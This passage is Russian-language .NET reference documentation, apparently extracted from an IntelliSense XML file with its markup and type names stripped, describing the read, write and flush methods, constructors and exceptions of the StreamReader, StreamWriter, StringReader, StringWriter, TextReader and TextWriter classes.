был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению , в зависимости от того, считаны ли все входящие символы. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Произошла ошибка ввода-вывода. + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Следующая строка из входного потока или значение null, если достигнут конец входного потока. + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из потока или значение null, если все знаки прочитаны. + Количество символов в следующей строке больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца потока. + Остальная часть потока в виде строки (от текущего положения до конца).Если текущее положение находится в конце потока, возвращается пустая строка (""). + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца потока, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца потока. + Количество символов больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи символов в поток в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. ссылки на источник. + 1 + + + Инициализирует новый экземпляр класса для указанного потока, используя кодировку UTF-8 и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Запись в поток запрещена. + + is null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Значение параметра или — null. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера, а также при необходимости оставляет поток открытым. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Получает или задает значение, определяющее, будет ли сбрасывать буфер в основной поток после каждого вызова . + Значение true, чтобы заставить сбросить буфер; в противном случае — false. + 1 + + + Получает основной поток, связанный с резервным хранилищем. + Поток, в который StreamWriter выполняет запись. + 2 + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + trueЧтобы освободить управляемые и неуправляемые ресурсы; false чтобы освободить только неуправляемые ресурсы. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Кодировка , указанная в конструкторе для текущего экземпляра, или , если кодировка не задана. + 2 + + + Очищает все буферы для текущего средства записи и вызывает запись всех данных буфера в основной поток. + Текущее средство записи закрывается. + Произошла ошибка ввода-вывода. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + 1 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Предоставляет StreamWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает символ в поток. + Символ, записываемый в поток. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток массив символов. + Массив символов, содержащий записываемые в поток данные.Если имеет значение null, запись не выполняется. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток дочерний массив символов. + Массив символов, содержащий записываемые данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток строку. + Строка, записываемая в поток.Если равняется null, запись не выполняется. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает символ в поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, содержащий записываемые данные. + Положение символа в буфере с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает строку в поток. + Задача, представляющая асинхронную операцию записи. + Строка, записываемая в поток.Если имеет значение null, запись не выполняется. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток признак конца строки. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Реализует класс , осуществляющий чтение из строки. + 2 + + + Инициализирует новый экземпляр класса , осуществляющий чтение из указанной строки. + Строка, для которой должен быть инициализирован класс . + Значение параметра — null. + + + Освобождает неуправляемые ресурсы, используемые (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или поток не поддерживает поиск. + Текущее средство чтения закрыто. + 2 + + + Считывает следующий символ из строки ввода и увеличивает позицию символа на один символ. + Следующий символ из основной строки или значение -1, если больше нет доступных символов. + Текущее средство чтения закрыто. + 2 + + + Считывает блок символов из строки ввода и увеличивает позицию символов на . + Общее количество символов, считанных в буфер.Оно может быть меньше, чем число запрошенных символов, если большинство символов не доступно в текущий момент, или равно нулю, если достигнут конец основной строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Начальный индекс в буфере. + Количество символов, которые необходимо считать. + Параметр имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Следующая строка из текущей строки, или значение null, если достигнут конец строки. + Текущее средство чтения закрыто. + Недостаточно памяти для размещения буфера возвращаемых строк. + 2 + + + Асинхронно выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения строк или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение всех символов, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Содержимое, начиная от текущей позиции до конца основной строки. + Недостаточно памяти для размещения буфера возвращаемых строк. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца строки. + Количество символов больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи данных в строку.Данные хранятся в основном . + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным форматом объекта. + Объект , управляющий форматированием. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс . + Класс StringBuilder, в который осуществляется запись. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс и который имеет указанный формат поставщика. + Класс StringBuilder, в который осуществляется запись. + Объект , управляющий форматированием. + Параметр имеет значение null. + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Encoding, в которой осуществляется запись выходных данных. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + + + Возвращает основной . + Базовый StringBuilder. + 2 + + + Возвращает строку, содержащую символы, записанные до этого момента в текущий StringWriter. + Строка, содержащая символы, записанные в текущий StringWriter. + 2 + + + Записывает символ в строку. + Символ для записи. + Средство записи закрыто. + 2 + + + Записывает в строку дочерний массив символов. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Значение параметра или является отрицательным. + ( + )> .Length. + Средство записи закрыто. + 2 + + + Записывает строку в текущую строку. + Строка для записи. + Средство записи закрыто. + 2 + + + Выполняет асинхронную запись символа в строку. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в строку. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текущую строку. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего записано не будет. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в строку символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в строку дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в текущий поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Представляет средство чтения, позволяющее считывать последовательные наборы символов. + 2 + + + Инициализирует новый экземпляр класса . + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Предоставляет TextReader без данных, доступных для чтения. + 1 + + + Выполняет чтение следующего символа, не изменяя состояние средства чтения или источника символа.Возвращает следующий доступный символ, фактически не считывая его из средства чтения. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или средство чтения не поддерживает поиск. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из средства чтения текста и перемещает положение символа на одну позицию вперед. + Следующий символ из средства чтения текста или значение -1, если доступных символов больше нет.Реализация по умолчанию возвращает значение -1. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Считывает указанное максимальное количество символов из текущего средства чтения и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Количество будет меньше или равно в зависимости от доступности данных в средстве чтения.Этот метод возвращает 0 (нуль), если его вызвать при отсутствии символов, доступных для чтения. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец средства чтения достигнут, прежде чем в буфер считано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению в зависимости от того, считаны ли все входящие символы. + При возвращении данного метода этот параметр содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из средства чтения текста и возвращает данные в виде строки. + Следующая строка из средства чтения, или значение null, если все символы считаны. + Ошибка ввода-вывода. + Недостаточно памяти для размещения буфера возвращаемых строк. + Объект закрыт. + Количество символов в следующей строке больше . + 1 + + + Асинхронно выполняет чтение строки символов и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения текста или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца средства чтения текста, и возвращает их в виде одной строки. + Строка, содержащая все символы, начиная с текущей позиции до конца средства чтения текста. + Ошибка ввода-вывода. + Объект закрыт. + Недостаточно памяти для размещения буфера возвращаемых строк. + Количество символов в следующей строке больше . + 1 + + + Асинхронно считывает все символы с текущей позиции до конца средства чтения текста и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца средства чтения текста. + Количество символов больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Представляет модуль записи, который может записывать последовательные наборы символов.Это абстрактный класс. + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса указанным поставщиком формата. + Объект , управляющий форматированием. + + + Сохраняет символы новой строки, используемые для данного TextWriter. + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе возвращает кодировку символов, в которой записаны выходные данные. + Кодировка символов, в которой осуществляется запись выходных данных. + 1 + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Удалено средство записи текста. + Средство записи в настоящее время используется предыдущей операцией записи. + + + Возвращает объект, управляющий форматированием. + Объект для указанного языка и региональных параметров или форматирование текущего языка и региональных параметров, если не заданы другие. + 2 + + + Возвращает или задает признак конца строки, используемой текущим TextWriter. + Признак конца строки для текущего TextWriter. + 2 + + + Предоставляет TextWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись символа в текстовую строку или поток. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись массива символов в текстовую строку или поток. + Массив символов, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает дочерний массив символов в текстовую строку или поток. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает текстовое представление десятичного значения в текстовую строку или поток. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байт. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта с помощью вызова метода ToString для этого объекта. + Записываемый объект. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает строку в текстовую строку или поток. + Строка для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Параметр или имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет асинхронную запись символа в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись массива символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если имеет значение null, запись не выполняется. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего не записывается. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Записывает признак конца строки в текстовую строку или поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean, за которым следует признак конца строки. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Положение символа в , с которого начинается чтение данных. + Наибольшее количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление десятичного значения, за которым следует признак конца строки. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта, за которым следует признак конца строки. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт, за которым следует признак конца строки. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта путем вызова метода ToString для этого объекта, за которым следует признак конца строки. + Записываемый объект.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток строку, за которой следует признак конца строки. + Строка для записи.Если имеет значение null, записывается только признак конца строки. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку и новую строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает отформатированную строку и новую строку, используя ту же семантику, что и . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Строка или объект передаются в виде null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта, за которым следует признак конца строки. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт, за которым следует признак конца строки. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает признак конца строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи 